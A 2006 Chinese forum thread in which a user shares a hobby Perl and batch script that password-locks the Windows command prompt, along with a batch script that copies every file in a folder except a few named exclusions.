@D:\perl\bin\perl D:\perl\hello1.pl
rem 上面的 是 執行 我編輯的 perl的 代碼的 命令行 個人的路徑有所不同 請根據自己的情況而定
@D:\perl\1.vbs
rem 這個是 一個 vbs 腳本 執行一個彈出視窗的

@cls
@echo 歡迎來到"火焰" 系統
然後就是 要安裝的 一個工具 就是 上面 要執行的 perl 代碼的工具 ActivePerl
這個程式 是用來 執行 perl 代碼的


好 現在來 寫perl代碼
首先編輯 hello1.pl
內容為:
#!/user/bin/perl -w
use Term::ReadKey;
use Digest::MD5 qw( md5_base64 );#制定一個函數
$pass1=』AV8oud8b3TZCfdl2+3OynQ』;#加密保護保護的代碼
#print 』請輸入你的名字:』;
#$a=<STDIN>;#截取輸入的內容 和shell下的 read類似
#chomp $a;#賦值給a
ReadMode( 』noecho』 );# 關閉回顯
print "請輸入pass(如果輸入錯誤就會自動關閉cmd): ";
$password = ReadLine(0);
chomp $password;
print "\n";
print "你的 password 長度為: [" . length( $password ) . "]\n";
ReadMode( 』restore』 );
$pass=md5_base64($password);#用上面制定的函數對pass的值運算出加密保護保護代碼
if ($pass eq $pass1){
print "口令正確\n";

#print "***************************************";
sleep 1;#延時時間 可以自己決定 不延時的話就直接註釋掉
#驗證是否正確並且延時並且清除輸入
} else {
print "口令錯誤";
sleep 0;
exec 』taskkill』,』/F』,』/IM』,』cmd.exe』;#,』/IM』,』WScript.exe』;#如果錯誤就呼叫系統的 命令殺掉cmd.exe工作行程
}
exit;

然後編輯 一個 得到 上面加密保護保護密碼字元串的 工具
pass.pl 執行這個腳本 只要進入perl 執行工具的目錄中 (也可以在環境變數中加上目錄 那就不需要加目錄執行了)
perl pass.pl 就會讓你輸入口令 然後產生字元串 把字元串 貼上去 替換掉 #加密保護保護後的字元串 的那一行""中的內容就行了

pass.pl 內容如下:
#!/usr/bin/perl -w
use Digest::MD5 qw( md5_base64 );
print " 請輸入需要加密保護保護的字元串:";
$pass=<STDIN>;
chomp $pass;
$pass1=md5_base64($pass);
print "加密保護保護後的字元串為:$pass1 \n";
剩下的 一個是 1.vbs 的內容了 這個可要可不要 我只是為了好看罷了!!
內容如下 :
DIM WSH
SET WSH=WSCRIPT.CreateObject("WSCRIPT.SHELL")
WSH.POPUP("歡迎來到 ☆火焰☆ 系統")
這個會跳出一個視窗 顯示上面的文字內容
呵呵 !!!
一個簡單的 加密保護保護 cmd.exe 的使用的 方法就成了
當然 這種方法需要 對 用戶權限進行設置 所以只有 ntfs 格式的才行
因為 在執行過程中 cmd的視窗上方的標題欄 會顯示 讀取 的linux.bat 的準確路徑
就算是 禁用了註冊表 別人只要刪除了 linux.bat 文件 這個對cmd.exe 使用的方法 就沒用了
所以 加了 title 命令 隱藏視窗 輸出路徑
大家只要把 linux.bat 放到 path命令顯示的 任何一個路徑下 就行了!
其實沒什麼技術的東西 只是自己給自己學習 找點樂趣 請大家不要 扔我磚頭!! 扔水果的話
我倒是蠻歡迎的!!
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
舊 2006-09-12, 06:19 AM   #8 (permalink)
榮譽會員
 
psac 的頭像
榮譽勳章
UID - 3662
在線等級: 級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時級別:30 | 在線時長:1048小時 | 升級還需:37小時
註冊日期: 2002-12-07
住址: 木柵市立動物園
文章: 17381
現金: 5253 金幣
資產: 33853 金幣
預設

DOS批處理實現有選擇地複製文件

最近對批處理文件很有興趣。看了下面的帖子:

Q:
請教高手,怎樣用批處理實現只複製除某些文件外的其它文件(已解決方法在下面說明)

  比如,我D:\有幾十個文件,包括a1.cab,ap.cab, bb.txt,現在我想將D:\中所有非a1.cab,ap.cab, bb.txt的文件拷貝到F:\去,怎樣實現呢?

  我試做了一個批處理,但將D:\下的所有文件都拷到F:\下了,不能夠實現排除a1.cab,ap.cab, bb.txt的目的,請高手指正:

for %%k in (a1.cab,ap.cab, bb.txt) do for %%m in (*.*) do if not "%%m"=="%%K" copy %%m f:\

A:

[check.bat]

if %1==a1.cab exit/b
if %1==ap.cab exit/b
if %1==bb.txt exit/b

echo %1>>%TEMP%\~fl2.txt




[main.bat]

@echo off
dir d:\ /a-d-h/b > %TEMP%\~fl.txt

for /f %%i in (%TEMP%\~fl.txt) do call check.bat %%i

for /f %%i in (%TEMP%\~fl2.txt) do copy d:\%%i f:\

::del %TEMP%\~fl.txt
::del %TEMP%\~fl2.txt
@echo on






經過一次次試驗,最終找到了一個解決辦法,不是最好的,不過肯定可以成功。
在windows xp professional sp2 下測試通過!


CODE:

@echo off
setlocal enabledelayedexpansion
set samenum=0
for %%i in (*) do (
for %%j in (a1.cab ap.cab bb.txt %~nx0) do if "%%~nxi" == "%%j" set /a samenum=!samenum!+1
if !samenum!==0 copy %%i g:\1\
set samenum=0
)
endlocal


[Copy to clipboard]


複製代碼到記事本,儲存成任意文件名,後綴是bat,放到源資料夾,雙擊執行。
可以跳過a1.cab ap.cab bb.txt這幾個文件,只複製其它文件。當然要過濾掉的文件可以自定義。說明如下:




@echo off
setlocal enabledelayedexpansion
set samenum=0
for %%i in (*) do (
for %%j in (a1.cab ap.cab bb.txt(要過濾的文件名,根據需要修改,可以任意新增刪減,不過注意用空格或逗號隔開,我是用空格隔開的) %~nx0(這個不要改,這是為了過濾批處理文件本身。)) do if "%%~nxi" == "%%j" set /a samenum=!samenum!+1
if !samenum!==0 copy %%i g:\1\(我的目的資料夾,可以根據自己的需要修改)
set samenum=0
)
endlocal

======================================

MS-DOS命令幫助全集


下載
http://www.jz5u.com/Codelist/Catalog339/5430.html

此帖於 2006-09-15 04:01 PM 被 psac 編輯.
psac 目前離線  
送花文章: 3, 收花文章: 1631 篇, 收花: 3205 次
 



發表規則
不可以發文
不可以回覆主題
不可以上傳附加檔案
不可以編輯您的文章

論壇啟用 BB 語法
論壇啟用 表情符號
論壇啟用 [IMG] 語法
論壇禁用 HTML 語法
Trackbacks are 禁用
Pingbacks are 禁用
Refbacks are 禁用


所有時間均為台北時間。現在的時間是 06:11 PM


Powered by vBulletin® 版本 3.6.8
版權所有 ©2000 - 2024, Jelsoft Enterprises Ltd.


SEO by vBSEO 3.6.1